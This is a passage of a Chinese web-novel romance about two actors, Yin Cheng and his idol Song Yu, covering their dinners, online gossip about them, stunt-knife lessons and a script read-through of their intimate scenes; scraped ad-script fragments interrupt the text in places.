“这可能跟我感情经历空白有关。”宋屿的眉越皱越紧,“‘浓烈长久的爱’在作品里很常见,但我属实难以想象。” 印澄没想到宋屿会困惑这个。 感情经历空白…… 难道宋屿也一直是单身? 他怎么觉得这个情报才“难以想象”。 不过仔细想想,宋屿从出道到现在,好像真没传过什么绯闻。 曾经获过奖的影视作品里,跟爱情相关的戏份亦寥寥无几。 现在这部《欲都》爱恨纠葛是重头戏,宋屿挑战此类型,显然是想有所突破。 但从目前的状况看,宋屿可能无法深入人物内心,也在因此而焦虑。 印澄相信,凭宋屿的才华,即便是表面功夫也能做得优秀。 不过对宋屿而言,那或许连及格线都达不到。 印澄叹气。 他是很想帮宋屿,可这方面,他的确没经验。 “印澄,你有喜欢的人吗?”宋屿忽然问。 印澄屏住呼吸,心脏停跳了一瞬。 要命。 怎么问他这个! “有……”印澄挠挠头,没撒谎。 宋屿挑眉,搭在一起的拇指转得稍快,“方便说说你喜欢对方原因吗?” 嘶~ 印澄难为情地拨弄着汤勺,有些脸红。 对着当事人讲这种事,也太羞耻了吧! 他宁可跟宋屿一起看“奥利奥”。 “咳,我……”印澄纠结着,刚开个头,便见宋屿的手机又震动起来。 宋屿看也不看,直接关机。 印澄咽了咽口水。 好认真啊。 他压力好大! “呃,我、我是学声乐的。其实也不算爱好,就是小时候唱歌不跑调,过年的时候亲戚朋友一起哄,爸妈就开始往这方面培养了。” “学得还行吧,反正从记事起就在学这个,成绩不错,也不烦。后来就考考考,上了音乐学院。” “理所应当一样。” “进大学后,怎么说呢,心态方面有点变化。” “我以前在同龄人里挺出挑的,没少挨夸,多少有点……自负。但学着学着,我发现自己只会照本宣科,创作出来的东西,很差劲。” 印澄勉强笑了下,不让气氛太沉闷。 宋屿认真倾听。 “我们那儿,声乐部毕业后有几种选择:留校任教、四处商演,或是进娱乐圈。我家里条件普通,后两种不定因素太多,父母都觉得留校稳妥,我也就一直在做相关准备。” “这条赛道竞争挺激烈的,要研究生以上学历,大学期间也必须成绩突出,还得多参赛拿奖,证明能力。” “当时有场比赛挺重要的,硬性规定选手原创。我想多拿奖,就硬着头皮报名了,结果备赛样品回回都被导师打返。 “修改、提交,再打返。就那么反反复复折腾,挺磨人的。” “嗯,讲实话,那不是用努力就能突破过去的瓶颈,是极限。更高的地方,我确实够不到了。” “我那阵,哈哈,说绝望可能太夸张,但的确是心灰意冷了。” “也没法停,还得逼自己往死胡同里钻。” “后来,我在……呃,一场活动上看见了那个人的表演。”印澄迟疑着,把“看电视”换成别的说法,“他也是原创,很精彩。” “精彩到什么程度呢?” “当时的天是38°,等他退场,我才想起手里还有冰可乐。” 印澄失笑,纳闷自己竟还记得这种细节。 “真是降维打击啊,当时我才知道什么叫‘天赋’。差距太大,我甚至对他嫉妒不起来。” “我翘了挺长时间的课,也没去参赛,像是有根弦终于绷断了,就觉得前途灰暗,干什么都没劲。” “学生时代嘛,想法都比较极端。” 宋屿沉吟着,神色随印澄的讲述而凝重。 他以为印澄是一见钟情的喜欢。 没想到居然受过这么大的打击。 宋屿忍不住问:“后来呢?” “后来……他得了第一,很成功,光彩夺目的。” “他站在领奖台上,用麦克风跟大家说‘有时前路不通,可能是选错了路。别怕。趁年轻,去闯,去犯傻,去惹祸,去挥霍’”。 “‘去享受这个世界。’” “哇,”印澄轻颤着眨眨眼,“我真是被那句话救了。” 原来鱼跑得太慢不是罪。 它不该在陆地缺氧、挣扎,而是该游在水里。 宋屿怔住,情绪有些许触动。 那么多年过去,想在再听,还真是恍如隔世。 “可他的话,不是对你说的。”宋屿喃喃自语。 印澄侧首,思考该怎么描述自己的感觉。 “就像《嫌疑人X的献身》里的台词:有时候,一个人只要好好活着,就足以拯救某个人。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “托他的福,我才敢尝试别的路。虽然坎坷,但也开心。” 放弃留校、接受星探的邀请签入SN、当练习生、选秀、参加综艺、演戏…… 印澄拼命试,拼命找,终于在横店体会到了前所未有的乐趣。 “我过得很好,也希望他好好的。” “哪怕没什么交集。” 宋屿眸底的困惑褪去,涟漪微起:“若是有交集呢?你会不会……想要更多?” 印澄慢慢抬起头,凝视宋屿。 他想。 越是接近,就越想。 像用海水解渴,每每得到一点,短暂满足后,便会渴望更多。 譬如方才的私心。 尽管宋屿不知道他口中的人是谁,但也听到了他的话。 他想让宋屿知道自己的心意。 哪怕是用这种隐秘的方式。 身体里有火在烧。 他该说些什么,不应怪异地沉默着,坐视宋屿的呼吸逐渐紊乱。 敲门声笃笃响起,是服务生。 印澄回神,这才意识到该上主菜了。 啊,刚刚光顾着聊天,他的汤才喝一半,宋屿那份更是连碰都没碰过。 好可惜。 “汤不用撤,放这吧。”宋屿不悦地挥挥手,对私密空间被入侵有一丝烦躁。 待其他人离开,那股异样气氛已然消散。 主菜是英式黑安格斯肋眼牛排配焗烤芦笋,牛排简单用盐和黑胡椒、迷迭香腌制过,切开后内呈粉红色,鲜嫩美味。 芦笋点缀着融化的芝士,在保留清脆口感的同时,添加了份软糯,搭配完美。 印澄切开牛排,发现宋屿仍未动餐:“不饿吗?” “还好。”宋屿礼貌性地切下一小块,送入口中。 “吃腻了?”印澄记得宋屿是这里的VIP,蓦然想起他在车上说过的话。 宋屿轻笑:“是有点。” 方才的那番推心置腹让两人有所亲近,也让印澄变得放松。 他放缓刀叉,担心道:“为什么?是肠胃不太好吗?” 宋屿摇摇头:“习惯吧。” “小的时候,我父母忙,工作变动大,带着我到处搬家,环境变得太快,饮食没定数,东西也经常被扔。” “慢慢的,我就适应了那种节奏。不恋旧,只喜欢新鲜感。” “不过太阳底下无新事,以后我大概会特别无聊吧。” 宋屿漫不经心地笑笑。 印澄转动刀叉,一时静默。 有时人跑得太快,是因为不敢停下。 他对宋屿的了解很浅,只限于荧幕上的那层,更看不出宋屿的心思。 不过现在,印澄能察觉到对方有些情绪低落。 啊,是他聊了不该碰的话题吗? 糟糕,空气略僵。 他不太会劝人,贸然开口,可能会越劝越糟。 讲个笑话? 算了,他能把人直接冻到北极。 怎么办。 他怎么才能让宋屿高兴点? 印澄抿唇,切下两片芦笋,又把一小块牛排夹在中间,用叉子插好,举给宋屿看:“今日份的新鲜感:芦笋汉堡!” 宋屿微怔,目光晦暗地打量着他,忽然扬起眉梢,缓慢地、暗示性十足地张开了唇。 13. 欲 宋屿的唇很薄,是一抹淡淡的粉,像春日里某种甜蜜的信号。 初绽着,蛊动着。 仿佛遭受任何对待,都能予以无限的包容。 印澄垂眸,单手扶着桌面,向宋屿探身。 浪漫的音乐丝丝缕缕落下,织成张细密而不可见的蛛网,将他们拢在一处。 黏腻,却轻轻一挣便可摆脱。 餐叉送入宋屿口中,抽出时,印澄听到了声清晰的齿碰。 “Delicious。”宋屿品味着,视线一刻未从他身上移开。 印澄笑笑,舌尖躁动,重新叉起块汁水丰盈的肉,在宋屿的注视下吃掉。 唇齿相碰,亦是声清响。 宋屿浅笑,手指无意识地摸索到领口,解开了最上方的那颗纽。 * * * 餐毕,印澄去结账才发现单已被签过。 “屿哥,我是想感谢您推荐我进组……”印澄没花出去钱,有种计划混乱的无措。 “下次吧,”宋屿浏览着刚打开的手机,随意道,“下次你请。” 印澄没再争辩,被宋屿带上车,一起回到泰阳罗酒店。 “明天见。”临进门时,印澄跟宋屿告别。 “嗯,明天见。”宋屿晃了晃手中的房卡,微笑回应。 1833与1822的门相继关闭,印澄换掉鞋,简单收拾过后,慢腾腾地脱下衣服,走进浴室。 镜子里的他有几分陌生,大抵是多了两枚简约耳钉的缘故。 他侧头端详,耳垂上的银钉藏匿于发丝间,带着熠熠的光,不甚显眼,却让他原本恬静的气质多了些叛逆。 还有点……性感? 印澄被脑海中突然冒出的这个词逗笑,他挠挠头,发现耳垂的颜色很红。 奇怪,晚餐他没饮酒,也没吃什么刺激性食物,伤口不该发肿才对。 待会儿再上点药吧。 他戴好吴鸿阳准备的耳套,拧开喷头,任温热的水自头顶倾泻。 宋屿说,下次。 他们还会有一次。 水雾弥漫,充斥着印澄的口鼻,逐渐溢漫,占据整个淋浴间。 …… 洗完澡,印澄正巧接到杨导来电,定好明天上午跟武术指导见面。 挂断电话,他用棉签沾着医用酒精,小心翼翼地擦拭耳垂。 尽管动作轻,却仍是觉得刺痛。 但愿这伤口能快点好。 眼看时间尚早,印澄决定再琢磨会儿剧本。 单论进度,他已细读过全本了,不过围读会上新学到的内容,还需多费点功夫消化。 况且,明天很重要,有他跟宋屿的第一场激情戏。 他得好好准备。 印澄闭目冥想了会儿,收敛心神,刚打算进入专注状态,忽然接到经纪人李鱼的多条信息。 吸金帅锦鲤:【靠!你们这进度可以啊!】 吸金帅锦鲤:【我这一层办公区都在嗷嗷叫!】 吸金帅锦鲤:【快看热搜!快快!!】 印澄满头问号,莫名其妙地看了眼微博。 宋屿欲 宋屿眼神 宋屿印澄晚餐 雅榭西餐 热搜榜上的词条大多是他跟宋屿吃饭的事,连餐厅名都有。 印澄感慨。 不亏是顶流啊,这影响力。 不亏是狗仔啊,这行动力。 其他倒还好说,就是前两条怪怪的。 他点进去,找到了让小女巫们疯狂尖叫的照片。 当时他们刚吃完饭,印澄正在弯腰上车,旁边站着单手撑车的宋屿。 宋屿并未低头,可那视线却分明是低垂的,带着一种难以言喻的压迫感,紧紧追随他的身影。 仿佛某种高段位的兽,在寂静盯视着领地内的猎物。 印澄骤然推远手机,靠着椅背,呼吸急促。 他稳了稳神,努力不让自己想太多,鼓起勇气,再度去看那张照片。 有过心理准备,印澄的接受度稍稍加强。 喜欢宋屿多年,哪怕是演戏的时候,他都没见过对方露出这种目光。 广场可预见地沸腾着,各式尖叫和YY疯狂刷新,看得人眼花。 “啊啊啊!好色气啊!宋屿!你是不是想把弟弟拆吃入腹!” “这眼神太有侵略性了!不行,我看得腿软[膜拜][膜拜]” “杀了我吧!宋屿什么时候能这么看我一眼啊!!” “宋老师,你怎么用眼神脱人衣服呢宋老师?你们才认识多长时间,这么欲合适吗宋老师?” “对对,我也觉得,就是欲!宋屿这眼神太欲了!” “你们真别想太多,宋屿目光深邃,看谁都这样的。” “NONO,这不是看兄弟的眼神,我发四!这是想把人按在车门上艹的眼神[微笑][微笑]” “你们这些NT!够了!别瞎想行吗?拍个戏怎么还沾上了?滚滚滚!” “啊啊啊啊麻麻!我第一次磕rps就搞到真的了!” 印澄刷一会评论看一会照片,努力提高自己的阈值。 不止小女巫腿软,他现在也觉得手脚发软。 是光线的原因吗?还是拍摄角度的问题? 那位小女巫!停笔! 他不能在车里用那么多极限姿势! 都收了神通吧! 半小时后,印澄终于控制住心跳,把那张照保存进私密相册。 嗐,剧本是看不进去了,不如早点睡。 印澄打算起身,印澄起身失败。 印澄低头看眼“小小澄”,绝望地闭上眼。 可真有出息啊。 * * * 次日,秦鸣跟吴鸿阳来接印澄,默契地没提他的黑眼圈。 也是……不容易…… 坐车去见武术指导的路上,秦鸣再度向敷眼罩的印澄汇报舆情。 昨天后半夜,一直对黑料冷处理的KK忽然发出段视频回应。 他素颜出镜,没戴任何饰品,语气真诚地先对杨导道歉,深刻反省自己可能惹怒对方的“任性之处”。 随后,KK再三保证自己绝无争番之心,跟剧方存在误会,并截图几张被恶意咒骂的私信,希望网友们能理智吃瓜,保留善念。 为避免占用更多的公众资源,KK决定不再回应、深究,最后对镜头鞠躬,祝《欲都》收视长虹,一帆风顺。 视频中,KK全程脱稿, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 哽咽着强忍泪,眼圈微红,惹人怜悯。 小羽毛们得到了态度,尽管不满,却也就此撤退,不再大规模围剿。 吃瓜群众有的看乐子,有的觉得茶,还有人对他黑转路转粉,疼爱上了。 至于骑士团,经过一天一夜的苦战后,几乎全都被虐成激进铁粉,将KK新代言的销量买翻近三倍。 可称是一次近乎完美的公关。 印澄一直不关注KK的事,但从秦鸣的态度来看,SN似乎对此非常警惕。 不过经纪人李鱼说过,舆论方面不用他操心,了解动态就行。 为方便围读,杨导临时租了个位置相临的练舞室,让新请来的武术指导训练印澄。 刚一碰面,印澄着实被吓到了。 这位武指只比他大几岁,左手花臂,张扬的玫瑰刺青缠绕脖颈,形成独特的项圈。 最特别的是他的眼睛,全黑,没有半点眼白。 印澄倒是听说过有这种“眼球刺青”,但冷不丁见到实物,还是难免怔愣。 “你好,罗舟。”武指伸出手,没什么感情地打招呼。 “你好,我叫印澄,接下来麻烦您了。”印澄很快回神,朝他露出微笑。 “这把是临时找来的道具刀,重量、形状和杨导想打造的那把差不多,我们先用它练。”罗舟将刀递给印澄,自己也拿着把相同的,没废话,直接上课。 他很专业,详细介绍折叠刀的结构,还有开合方式、重心位置等基础知识。 随即,他又科普了刃的弧度会如何影响切割,以及折叠刀的锁定机制、安全握持的重要性等等。 最要紧的,是万一刀具脱手或掉落,演员该怎样躲避、紧急处理。 印澄越听越紧张,示意秦鸣在旁录像,把罗舟的所有话都记下,回去好反复看。 “这两天你先熟悉刀的手感,争取掌握单手开合的技巧。”罗舟说完,动作极慢地演示一遍,让印澄照做。 印澄确保手指摆放在正确位置,将其完美复刻。 罗舟点头,暗示他可以加快速度。 十分钟后,罗舟惊诧于印澄的进步,毕竟他从外表看,不像是接触过折叠刀的人。 待印澄消化得差不多,罗舟见时间仍有剩余,干脆加快教学进程,又教了他正握和反握两种姿势,并要求他练到灵活切换,能迅速应对“攻击”或“防御”等相关指令。 印澄不再游刃有余,在罗舟的监督下一招一式地练着,没过多久就浑身出汗,热得不行。 啊,他果然还是喜欢游泳。 流汗的感觉好难受。 等魔鬼武指终于大发慈悲宣告休息,印澄抓着毛巾就往浴室冲,直到清清爽爽地出来,才长呼一口气。 临别时,印澄主动提出加好友,方便今后联系。 罗舟拿出手机,忽然问道:“我这样,你不怕吗?” “嗯?啊,哈哈,刚见面的时候是有一点。”印澄笑着承认,“不过挺酷的,看久了就不怕了。” 罗舟扬起唇角,笑得多了丝人情味。 杨导在群里发来讯息,询问他这边的状况如何。 印澄回复着,瞥了眼群成员列表,忽然意识到自己还没加过宋屿。 要不要,加一下? 14. 讨戏 简单聊过两句后,罗舟也去了更衣室。 印澄靠墙坐在地上休息,盯着列表里宋屿的名字,犹豫片刻,主动添加好友。 现在是中午,宋屿应该醒了吧。 运动过后喝凉水不好,吴鸿阳贴心地递给他个保温杯,补充体力。 暖暖的,胃很舒服。 哈哈,要是加点枸杞就更养生了。 好友申请还没被通过。 宋屿大概是在吃饭。 或许有别的事要忙,没看到? 印澄把保温杯放到一边,心不在焉地听吴鸿阳跟秦鸣聊天,絮絮叨叨地科普喝冷饮的坏处。 秦鸣爱喝冷饮?印澄还真没注意过。 吴鸿阳很开朗,人如其名,像个小太阳,看样子和秦鸣已经有点熟了。 印澄很羡慕这种社交能力,他是慢热型的,与谁来往都需时间来增添厚度。 宋屿仍未通过。 印澄发现,自己才等了三分钟。 这样干等着有点傻。 他们是搭档,同一剧组的,哪怕碍于情面宋屿也会同意。 早晚而已。 印澄把屏幕锁了开,开了锁,漫无目的地滑动桌面,让那些颜色各异的APP水平横移,像翻过一页页无意义的书。 五分钟过去。 印澄登陆微博小号,打算去“屿澄”超话逛一圈,发现昨天聊过几句的陌生ID有给他留言。 陌生ID:【enjoy】 他心情稍稍好转,回给对方个幸福小猫的表情包,头顶还有花花在转。 屏幕顶端倏然弹出条提醒。 【你已添加了宋屿,现在可以开始聊天了】 啊,8分钟。 也没多迟,很快了! 宋屿:【练得还顺利吗?】 印澄:【嗯嗯!】 印澄:【没问题!】 空白的聊天背景显示出两种颜色的气泡,看得人赏心悦目。 印澄把他们第一次的聊天对话截图保存,忽然觉得那个陌生ID很吉利。 刚跟他聊完,好运就降临了。 * * * 今日围读,剧中感情线突破很大。 贝克侦探为刷好感,刻意制造险境救下米契尔,从此得到信任,不再被捉弄。 摩拉密医药公司的董事长心脏状况愈发糟糕,一年内必须要换心延续生命。 虽然已经物色好了合适的心源,但与他同样匹配的小儿子米契尔,亦被当做成备套方案。 米契尔多年来,一直带有监测身体数据的健康体环,每次发生异常,都会遭到父亲的严厉训斥。 这也导致米契尔看似肆意妄为,实则在某种界限内被紧密管控,让他有种挣脱不得的烦躁感。 贝克侦探查出其中根结,为米契尔替换假体环,摆脱监视,带着他四处玩乐,甚至去了一直被董事长划为禁区的贫民窟。 米契尔享受着真正的自由,因此爱上了贝克侦探。 他开始毫无顾忌地表达自己的爱,屡次勾引贝克侦探,送金钱送豪车,提升其地位,甚至在贝克侦探被他人怀疑,差点露馅时倾力相护。 贝克侦探在钱权诱惑中苦苦挣扎,险些沉沦,甚至对赤诚的米契尔也产生了隐秘的好感。 但父母的血海深仇背在身,贝克侦探只能强逼自己继续憎恨米契尔。 最为关键的一场戏,就是贝克侦探洗澡,米契尔忽然赤身闯入,与其首次发生关系。 贝克侦探坚守的底线发生了动摇,理智与欲望激烈碰撞,非常精彩。 剧情不错,就是这段几乎没什么台词,副导演用波澜不惊的口吻念白时,整个会议室都鸦雀无声。 每个人都紧盯着剧本,不敢乱看,更不敢笑,生怕两位主演会觉得尴尬。 “对于这段戏,你们有什么意见吗?”杨导用红色的笔点了点本子,“没问题的话,咱们就接着往下顺。” 印澄深吸一口气,胆战心惊地举起手:“那个,米契尔全.裸出场这部分,我想改一下。” 杨导颇为意外,以为印澄是嫌尺度大。 但先前签合同的时候,已经将这部分写得很清楚了,后面还有两场激.情戏,都有裸.露镜头。 要是过不去这个坎,那就难办了。 宋屿没抬头,仍盯着剧本,似乎在思索什么。 “这个时候,两人还没捅破最后的窗户纸,就这样进去视觉冲击力是很大,但好像有点太直白了。” “我想,要不要让米契尔只穿件很透的白衬衫进去,洒上大片的红酒,以这个为借口共浴呢?” “贝克躺在浴缸里,让米契尔去淋浴,米契尔无视他的话,直接跨坐在他腰间……” 印澄越说声越小,最后都快说不下去了。 亲口改良自己的激.情戏!还要当着这么多人的面讲出来! 印澄很后悔。 或许他应该保持沉默。 艾沫编剧怎么偷偷用双手捂住脸了?还两眼放光…… 其他人都说说话啊。 杨导!副导演! 喂!你们在嘛!! “的确,比起国外过于直白的方式,国内观众或许更喜欢‘犹抱琵琶半遮面’的暧昧感。”杨导沉吟片刻,终于给出结论。 艾沫编剧在旁猛点头,深表认同。 印澄的心总算不再悬着了。 本剧的背景是架空国外,从人名到风格都是那样设计的,编剧先前的写法其实很贴剧,并无不妥。 印澄也只是抱着试试看的心态改动的,想尽可能把色.情跟情.色区分开。 毕竟现在看小视频的路径很多,连敖乐盐都能用一个晚上下载500GB。 若单论刺.激和吸睛,正剧是拍马都赶不上的。 “坐下后,米契尔可以命令贝克舔掉酒渍,两人隔衣亲密,等呼吸急促,米契尔再主动引导,这样节奏会更好。”宋屿抬起夹着笔的手,附加提议。 印澄呆住。 随着宋屿的讲述,他坐着的椅子隐约变成盛满水的浴缸,水波晃动。 杨导低头写着什么,笔尖在纸面上唰唰游走。 羊祖副导演往后翻了两页,预习接下来的旁白。 艾沫编剧轻啃着拇指的指甲,低声念叨着被激发出的灵感。 印澄耳边尽是会议室中众人发出的细微响动。 还有水声 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 从浴缸边缘溢出,流到地面,在某种动作的促使下,一波汹似一波,肆意洒落。 他不自觉地放轻呼吸,重叠在两个场景里,精神恍惚。 “印澄,你觉得呢?”杨导转头,询问他的意见。 水声褪去,会议室里的一切再度鲜明,连座椅的硬度都更加有实感。 印澄喝了口咖啡,点头同意:“很好。” “好,那这段戏先这样!灯光,你看看光怎么打合适……”杨导开始思考技术层面的事。 印澄喉咙干得很,又喝了一口,还是觉得渴。 “不苦吗?”宋屿不知何时抬起头,笑着打量他。 “嗯?挺好喝的。”印澄答得快,说完才注意到,刚才牛饮的,是副导演特供浓缩咖啡。 印澄喉咙滚动,仰头,将咖啡一饮而尽。 果然还是很苦。 但他太渴了。 * * * 围读的7天过得很快,虽然发生过不少事,但也算好事多磨。 在这一周,印澄读完了米契尔的一生。 浴缸戏份后,米契尔彻底陷入热恋,像伊甸园里的蛇,无时无刻不在诱惑贝克侦探。 他们的吻戏很多,若是集中拍摄,印澄都怀疑能把嘴亲破。 毕竟他俩无论是做还是爱,都有股狠劲儿。 激.情过后,剧情便走向灰调。 贝克侦探利用米契尔偷走重要资料,令摩拉密医药公司损失惨重,董事长被保护伞问责,砍掉一臂。 事情败露,米契尔怒不可遏,赶在董事长下手前捉走贝克侦探,并将其囚.禁,以性为虐,惩罚他的背叛。 贝克侦探被折磨得黑化,挣脱束.缚,跟米契尔近乎疯狂地做恨,并告知他摩拉密医药公司内肮脏的秘密、董事长觊觎他的心脏,以及他母亲死亡的真相。 多年前,米契尔的母亲目睹董事长犯罪,极力劝其向善,失败后试图对公众揭露真相,被董事长发现,将其从高楼推下。 这起谋杀被董事长篡改成“妻子发现丈夫偷情,绝望自杀”,出于内疚,董事长才对小儿子在某种范围内百般纵容。 养得米契尔性格乖戾,嚣张任性。 米契尔憎恨父亲却又崇拜父亲,一朝得知真相,精神陷入崩溃。 董事长心脏病发作,即将手术,贝克侦探用刻毒的话逼米契尔离开塔根城,随后劫走心源,与董事长开战。 交火正酣时,米契尔突然出现,佯装甘愿为父亲延续生命,接近董事长,用刀将父亲捅死,自己也被枪击中了要害。 最终,米契尔在贝克侦探的怀里死去,偿还父亲留下的罪孽。 邪恶势力被清除,所有肮脏的秘密都大白于天下。 贝克侦探爬出欲望的漩涡,重拾父母教给他的善良,回到贫民窟,成为一名有求必应的私家侦探。 剧本后半部分的悲情色彩浓郁,每天围读结束,印澄都怅然若失。 不过这种情绪并不会存在太久,因为他跟宋屿开始频繁地约饭了。 今日你请,明日我请,请来请去,最初想要酬谢的目标已然忘却。 与宋屿吃饭,变成了印澄的一种习惯。 15. 室友驾到 经纪人李鱼偶尔会打电话来,询问进展,嘱咐他继续努力,别错失这么难得的机会。 折叠刀的基础招式印澄已全部掌握,罗舟跟杨导商量过后,开始教他复杂的花样转刀。 更具观赏性。 KK那边也有新动向。 一位叫葛奇桑的导演火速立项电视剧《迷情》,请KK去当一番。 同样是BL题材,并计划再招8位身高1米8以上的男配,做万人迷修罗场。 葛奇桑放出消息,要聚焦都市年轻人的情感问题,剧情跌宕,同时大赞KK的魅力,有信心将其打造成年度最受欢迎的角色。 骑士团们扬眉吐气,在网上铺天盖地宣传消息,并拉表格划名单,先一步进行男配大海选。 人气低迷的18线比较踊跃,稍有些流量的明星暂未表态,粉丝们也对骑士团这种做法大为不满,认为对面擅自评头论足是在侮辱人。 一来二去,又吵得不可开交。 但不管怎么说,热度是挺高的,但凡谁跟这个饼沾边,都能挂会儿热搜。 因着先前的矛盾,逐渐有媒体把《欲都》和《迷情》拉到同一擂台做对比,紧紧捆绑。 杨导对此置若罔闻,还是照常做事。 但谁都能看出来,他对各项工作的完成度要求更高了。 直到围读宣告结束那天,高压状态才暂时解除。 敖乐盐临时来找印澄探班,热情地跟剧组里人打招呼,重点感谢杨导和宋屿对印澄的关照。 像是家里来的哥哥,四处客气,倒也让连日紧绷的气氛消散不少。 印澄自然最开心。 敖乐盐过来,晚餐肯定要聚,可先前他跟宋屿有约,临时变卦总归不好。 印澄深感抱歉,干脆试着邀请对方。 宋屿欣然应允。 饭店是印澄选的,还没等上菜,敖乐盐就乐颠颠地掏出手机,跟宋屿合影留念。 担任摄像师的印澄有亿点点羡慕。 他怎么没想起这茬! 刚认识的时候找机会要合影就好了! 现在再提很刻意啊! “阿澄,”宋屿招招手,示意他过来,“一起拍。” “嗯?嗯!”印澄立刻来了精神,把手机交给服务生。 宋屿站在中间,笑着将手搭在两人肩上。 敖乐盐咧嘴,在胸前举起大拇指。 印澄想比心,但也只是想想。 他不好意思。 最终,印澄伸出了万年适用的剪刀手。 可恶啊,他平时太不爱拍照了。 应该多学点姿势的! 服务员高喊“三二一”,宋屿不轻不重地捏了下他的肩。 奇异的酥麻感直蹿后颈,有种隐秘的欢喜在悄然蔓延。 印澄展露微笑,不用照镜就知道自己的脸又在发红。 宋屿今日换了香水,有种浓郁的麝香气息。 仿佛稍微靠近,就步入了其专属领域。 “来来来,坐!咱们开吃!”敖乐盐大着嗓子,率先落座。 印澄定的包间是圆形餐桌,为方便聊天,座位安排得比较近。 如今敖乐盐的位置,却正好把他们分在左右两侧,隔得还有点远了。 印澄哭笑不得。 咳,这哪是僚机,分明就是轰炸机。 “你们认识很久了?”宋屿脱下外套,交给服务员挂好。 “可不是嘛!选秀那会儿我俩就住一屋,现在也是!”敖乐盐哈哈大笑。 宋屿的笑容有瞬间凝固。 “是室友!”印澄赶忙解释,“房租太贵,朋友一起住比较便宜。” 宋屿表情重新温和:“嗯,这样也好。” “可不是嘛!我俩最熟,互相能有个照应!”敖乐盐揉揉肚子,饿得叫了两声,看看印澄,又看看宋屿,忍不住笑道,“这回你可见天儿都能见着偶像了!咋样,幸福不?” 印澄有点受不住敖乐盐这么直白,笑着推了他一下。 “阿澄很喜欢我?”宋屿语气好奇,引他继续。 “是啊,屋里都贴你海报!当初选秀时住宿舍就贴,后来搬走,他也舍不得扔,摘得可小心了,住哪儿贴哪儿。”敖乐盐猛掀印澄老底。 “咳咳!咳!”印澄在桌下踹他一脚。 敖乐盐不明所以,却也住了嘴,又嗷嗷嚎着等菜。 宋屿眸底闪过抹愉悦,和善地问了更多选秀期间的事。 敖乐盐刚说两句,恰逢服务员传菜,一道道都是辣口,红彤彤的。 宋屿蹙眉。 印澄的耳洞还在恢复期,向来不碰这些。 “乐盐爱吃辣,给他点的。”印澄指着自己面前的菜宽解宋屿,“看,也有不辣的,我吃这个就行。” 一道开水煮白菜,一道芙蓉蛋。 宋屿看他一眼,面色并未和缓多少。 “怎么啦屿哥,你不爱吃辣的吗?”敖乐盐见他不动筷,还以为菜不合口。 “不常吃。”宋屿语气很淡。 印澄有点懵。 共进晚餐的这几天,宋屿向来随和,这还是头一次对菜挑拣。 “呃,那再加道芙蓉鸡片怎么样?甜皮鸭?”印澄拿过菜单,询问宋屿的意见。 宋屿不置可否。 印澄硬着头皮把菜单还给服务生,完全摸不到头脑。 他觉得宋屿好像不太高兴。 “那太可惜了!川菜多香啊,我跟澄子都爱!”敖乐盐表示遗憾,动手开始扒小龙虾。 宋屿面无表情地坐着,像尊俊美无俦的石膏像,似乎没有动筷的打算。 印澄叹了口气,抓过副手套,也开始扒小龙虾。 只扒不吃,把虾尾肉堆放在干净的小碗里。 宋屿盯着那碗虾肉,瞥了眼旁边吃得正欢的敖乐盐,呼吸加深。 “刚才说到哪儿了?对!选秀!我俩第二轮分到一个组,我RAP,他VOCAL。” “我早上不爱起,都是他拉着我去练舞室的!澄子人不错,给我纠错,还帮我设计动作!” “说实话,他被淘汰真可惜了!要不是碰着那帮孙子……” 敖乐盐被再次打断,这次印澄踩得重,疼得他直咧嘴。 宋屿观察着两人的小动作,敏锐追问:“怎么?他出过事?” “没有。”印澄把空虾壳跟敖乐盐吃的那些堆在一起,又抓过一只继续扒,“小矛盾,早都过去了。” 敖乐盐不赞同,往嘴里猛塞两口虾肉,嘟囔着:“你呀,就是太善良。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“我不善良,谁背你回的宿舍?”印澄摘下油乎乎的手套,笑着用湿巾擦干手。 “嘿,那事儿是没的说!”敖乐盐立即多云转晴,转头跟宋屿讲,“有回导师让表演才艺,哥们儿上去托马斯大回旋,崴脚了。” “我好面儿没出声,还以为瞒挺好呢,结果被他看穿了,咋说都没用,硬给我背回去的!”敖乐盐提起这个,感慨万千,“我这么大个儿,真不容易。” “我力气不小。”印澄斜他一眼,转动餐桌,把那碗虾肉挪到宋屿面前。 宋屿还在思索敖乐盐的话,怔了怔,才明白这是给他的。 “尝尝吧。”印澄看向他,声音带着点哄。 宋屿沉默须臾,用筷子夹起一只。 “不错。”宋屿轻声称赞,筷尖拨弄着其他虾肉 “诶嘿?屿哥,你喜欢啊?来,我也给你剥点?”敖乐盐插话。 “多谢,不必。”宋屿生硬拒绝。 “同样的菜他不爱吃太多,会觉得腻。”印澄朝宋屿眨眨眼,又将那道芙蓉蛋转给他,“再尝尝这个?” 宋屿轻笑,依言拿起汤匙。 “嘶~你好了解他啊!”敖乐盐往后靠了靠,见两人眸光流转,隔“山”相望,忽然萌生出自己很“碍事”的错觉。 “别说,你还真别说,怪不得‘屿澄’超话那么火!”敖乐盐观察半晌,发出感慨。 这种当着第三个人的面,彼此间共享小秘密的感觉,还真挺像暧昧期的小情侣。 要不是敖乐盐知道印澄是直男,他也能磕上! “你怎么还去CP超话了?”印澄对死党的旺盛精力叹为观止。 “闲着就看看呗!还挺有意思的!哈哈,哈哈哈……”说着说着,敖乐盐忽然自顾自地笑起来。 “你这又抽什么疯?”印澄莫名其妙,也被带着笑。 “哎呦喂,你还记得不?当初咱俩还有CP呢!叫……‘盐澄’!对,是这名儿! 我是盐汽水,你是橙,咱俩合一起就是‘盐橙汽水’!哈哈哈哈!” “诶,澄子,你呛着了?摆啥手啊?快喝点水顺顺!” “哈哈!盐橙汽水!那些CP粉太有才了!我真是啥时候想起来啥时候乐!” “哈,屿哥,你咋不笑呢?盐橙汽水不好玩儿吗?” “还有人写我俩小作文呐!说我俩灵魂知己,日久生情!可逗了……” “……” “服务员!再来盘虾!加麻加辣嗷!” * * * 不出意外,这餐又是宋屿请的客。 回去的路上,印澄一直在琢磨宋屿的奇怪处。 他还是平常那样彬彬有礼,聊天时也挂着笑,可不知怎的,就是有点怪。 好像戴了层假面,让人可以接近,却难以亲近。 